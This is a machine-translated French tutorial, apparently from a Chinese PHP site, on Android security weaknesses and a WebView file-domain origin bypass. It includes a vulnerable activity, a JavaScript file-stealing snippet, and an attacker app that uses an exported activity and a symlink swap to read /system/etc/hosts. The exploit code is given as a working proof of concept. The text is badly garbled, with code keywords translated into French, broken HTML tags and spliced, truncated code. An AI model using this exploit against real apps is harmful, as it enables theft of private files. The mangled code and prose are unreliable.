Maison > Article > Opération et maintenance > Exemple d'analyse de vulnérabilité de contournement de la stratégie d'origine du domaine de fichiers WebView
Connaissance de base de l'architecture Android
Couche du noyau du noyau
Les vulnérabilités sont extrêmement nuisibles et très polyvalentes
En raison du grand nombre et de la complexité des pilotes, il peut également y avoir de nombreuses failles
Couche de bibliothèque d'exécution du système des bibliothèques
La bibliothèque d'exécution fournie sous forme de middleware système
comprend libc, WebKit, SQLite, etc. de services et d'interfaces API
Application système
Autres applications
Programmes implémentés par les développeurs utilisant l'API de la couche framework d'application
Andoroïde composants communs
Activités d'activité
Service
BroadcastRecviver Broadcast Receiver
ContentProvider Fournisseur de contenu
Vulnérabilités typiques et méthodes d'exploration Vulnérabilité de stockage de données
Fichiers ou répertoires de données
Stockage de texte clair
MODE_PRIVATE
Stockage de texte clair
Créé Le mode MODE_PRIVATE n'est pas utilisé lors de la création du fichier de configuration
data/data/package name/shared_prefs/*.xml
données/données/enregistrement du programme/fichiers/*
Vérifiez s'il y a des informations sensibles en texte clair dans fichiers de configuration, bases de données, etc.
Vulnérabilité de la communication des données
Utilisation de protocoles en texte clair tels que HTTP pour transmettre des informations sensibles au serveur
Vérifiez s'il y a is return-void
Activez le proxy Fiddler et autorisez l'hôte distant à se connecter au proxy
Le client doit implémenter la classe X509TruestManager, y compris les trois méthodes checkServerTrustedcheckClientTrustedgetInstance
L'échec de la vérification du certificat provoquera une exception, puis l'application gérera l'exception de vérification du certificat
Vulnérabilité d'exposition des composants
Android : exporté est un attribut commun aux quatre composants principaux, utilisé pour indiquer si d'autres applications sont prises en charge pour appeler le composant actuel
S'il existe un filtre d'intention, la valeur par défaut la valeur est vraie ; sinon La valeur par défaut est fausse
Contrôle des autorisations des composants exportés
Contourner l'authentification
L'activité est appelée par un tiers après avoir été exposée, et il est possible de se connecter /réinitialiser le mot de passe sans mot de passe
Informations sensibles divulguées
recviver a été lancé par un tiers après avoir été exposé, et les informations sensibles contenues dans le débogage et d'autres informations peuvent être consultées
Dépassement d'autorité
Programmes à faible privilège Exécuter des actions à haut privilège en appelant les composants exposés par les programmes à haut privilège
Méthode d'exploration de données
Voir AndroidManifest
Main ly comprend trois types de vulnérabilités :
Si WebView active la prise en charge de JavaScript et ne dépose pas :/ //Restrictions sur Les URL sous forme de cookies, de fichiers privés, de bases de données et d'autres informations sensibles seront divulguées
Détection rapide, obtenez des cibles d'analyse clés
Vérification du fichier AndroidManifest
Essayez la vérification de l'opération/vulnérabilité
MobSF inclut l'interface Web frontale,
Pure Text View Copy code
Exemple d'adresse de code : https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo.
classe publique MainActivity extends Activity {
privé String url ;
//String mUrl2 = "file:/// android_asset/html/test.html";
protected void onCreate(Bundle savingInstanceState) {
setContentView(R.layout.activity_main);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert (vue WebView, URL de chaîne, message de chaîne, résultat JsResult) //Fonctionnalité requise ici
return super.onJsAlert(view, URL, message, résultat);
}
});
webView.loadUrl(mUrl1);
}
class JSInterface {
public String onButtonClick(String text) {
final String str = text;
runOnUiThread(new Runnable() {
@Override
public void run() {
Log.e( "leehong2", "onButtonClick : text = " + str); Toast.makeText(getApplicationContext() , "onButtonClick: text = " + str, Toast.LENGTH_LONG).show(); }
});
return "Ce texte est renvoyé par la couche Java. js text = " + text;
}
public void onImageClick(String url, int width, int height) {
final String str = "onImageClick: text = " + url + " width = " + width + " height = " + height;
Log.i("leehong2", str);
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.make Text(getApplicationContext(), str, Toast.LENGTH_LONG).show(); }
});
}
}
}
这里webView.getSettings().setAllowFileAccessFromFileURLs(true),标示可以javaScript访问file文件。
我们再来看attack_file.html的代码:'
<script> </p> <p>function StealeFile() </p> <p>{ </p> <p> var file = "file:///mnt/sdcard/233.txt"; </p> <p> var xmlHttpReq = new XMLHttpRequest(); </p> <p> xmlHttpReq.onreadystatechange = function(){ </p> <p> if(xmlHttpReq.readyState == 4){ </p> <p> alert(xmlHttpReq.responseText); </p> <p> } </p> <p> } </p> <p>xmlHttpReq.open("GET", fichier); </p> <p>xmlHttpReq.send(null); </p> <p>} </p> <p>stealFile(); </p> <p></script>
> Par exemple, setAllowFileAccessFromFileURLs est false, webView. load这个html不可以返回/mnt/sdcard/2333.txt的值。
即使setAllowFileAccessFromFileURLs为false,我们通过一种方式也可以跨过这个限制,这个我下一次讲讲.
Exécutez d'abord WebViewFileDemo1, puis exécutez AttackWebView pour attaquer WebView.
Nous regardons d'abord WebViewFileDemo1, le code principal est le suivant :
package com.example.webviewfiledemo [/size][/font][/ p]
importer android.app.Activity;
importer android.content.Intent
importer android.net.Uri
importer android.os.Bundle; android.webkit.JsResult;
importer android.webkit.WebChromeClient;
importer android.webkit.WebView;
importer android.widget.Toast
classe publique MainActivity extends Activity {
privé WebView; Uri mUri;
URL de chaîne privée
@Override
protected void onCreate(Bundle savingInstanceState) {
super.onCreate(savedInstanceState); = (Vue Web) findViewById(R. id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
/ /webView.getSettings().setAllowFileAccess(false); utiliser l' ); ' en utilisant ' s ' ‐ ‐ ‐ ‐‐ url, message en chaîne, résultat JsResult) {
Fonctionnalité requise ici
revenir super.onJsAlert(view, url, message, result);
using if (i != null) i.getData((); ; if (url != null) {
webView.loadUrl(url) ;
}
}
}
Cette activité reçoit l'intention de l'extérieur, extrait l'URL dans l'intention et la charge.
Ensuite, regardons le projet AttackWebView, qui est le projet qui envoie l'intention à com.example.webviewfiledemo.MainActivity. Le code est le suivant :
public class MainActivity extends Activity {
public final static String HTML =
"
" +" Attendez quelques secondes. +
" <script>" + "var d = document;"+ "</p> <p> "function doitjs(){"+ "var xhr = new XMLHttpRequest;"+ </p> <p> "xhr.onload = function(){"+ </p> <p> "var txt = xhr.responseText;"+ </p> <p> "d.body.appendChild(d.createTextNode(txt));"+ </p> <p> "alert(txt);"+"};" + </p> <p> ”xhr .open('GET',d.URL);"+ </p> <p> "xhr.send(null);"+ </p> <p> "}"+ </p> <p> "setTimeout(doitjs,8000);"+ </p> <p> "</script>"+
"";
chaîne statique publique MY_TMP_DIR ;
@Override
protected void onCreate(Bundle saveInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();
doit();
}
public void doit() {
String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";
essayez {
cmdexec("mkdir " + MY_TMP_DIR);
cmdexec("echo "" + HTML + "" > " + HTML_PATH);
cmdexec("chmod -R 777 " + MY_TMP_DIR);
Thread.sleep(1000);
InvoqueVulnAPP("file://" + HTML_PATH);
Thread.sleep(6000);
cmdexec("rm " + HTML_PATH);
cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
} catch (Exception e) {
// À FAIRE : gérer l'exception
}
}
public void invoquéVulnAPP(String url) {
essayez {
Intent intent = new Intent(Intent.ACTION_MAIN,Uri .parse(url));
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");
startActivity(intent);
} catch (Exception e) {
// À FAIRE : gérer l'exception
}
}
public void cmdexec(String cmd) essayez {
String[] tmp = new String[] { " /system/bin/sh", "-c", cmd };
Runtime.getRuntime().exec(tmp);
} catch (Exception e) {
// TODO : gérer l'exception
}
}
}
通过invokeVulnAPP,打Il s'agit de com.example.webviewfiledemo.MainActivity et d'Intent. ,Url为/sdcard/payload_odex/A0.html,webView加载了这个html,html内容如下:
public final static String HTML =
"
" +"Attendez quelques secondes." +
"<script>" + </p> <p> "var d = document;"+ </p> <p> "function doitjs(){"+ </p> <p> "var xhr = new XMLHttpRequest;"+ </p> <p> "xhr.onload function(){"+ </p> <p> "var txt = xhr.responseText;"+ </p> <p> "d.body.appendChild(d.createTextNode(txt));"+ </p> <p> "alert(txt);"+"};"+ </p> <p> "xhr.open('GET ',d.URL);"+ </p> <p> "xhr.send(null);"+ </p> <p> "}"+ </p> <p> "setTimeout(doitjs,8000);"+ </p> <p> "</script>"+
"";
Lorsque le webView du projet WebViewFileDemo1 charge A0.html, la fonction de ce code HTML est de retarder 8 secondes pour lire A0.html lui-même. Revenons au projet AttackWebView et examinons le code.
cmdexec ("mkdir" + my_tmp_dir);
cmdexec ("" thread.sleep (1000);
invokevulnApp ("file: //" + html_path); thread.sleep (6000);
cmdexec (" ln -s " + "/system /etc/hosts" + " " + HTML_PATH);Après avoir appelé InvokeVulnAPP, 6 secondes plus tard, nous supprimons d'abord A0.html, puis nous nous connectons à nouveau à /system/etc/hosts . Notez que lorsque webView dans le projet WebViewFileDemo1 charge A0.html à ce moment-là, la fonction de ce html est de retarder la lecture de A0.html lui-même pendant 8 secondes, donc la connexion logicielle /system/etc/hosts est lue après 8 secondes.Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!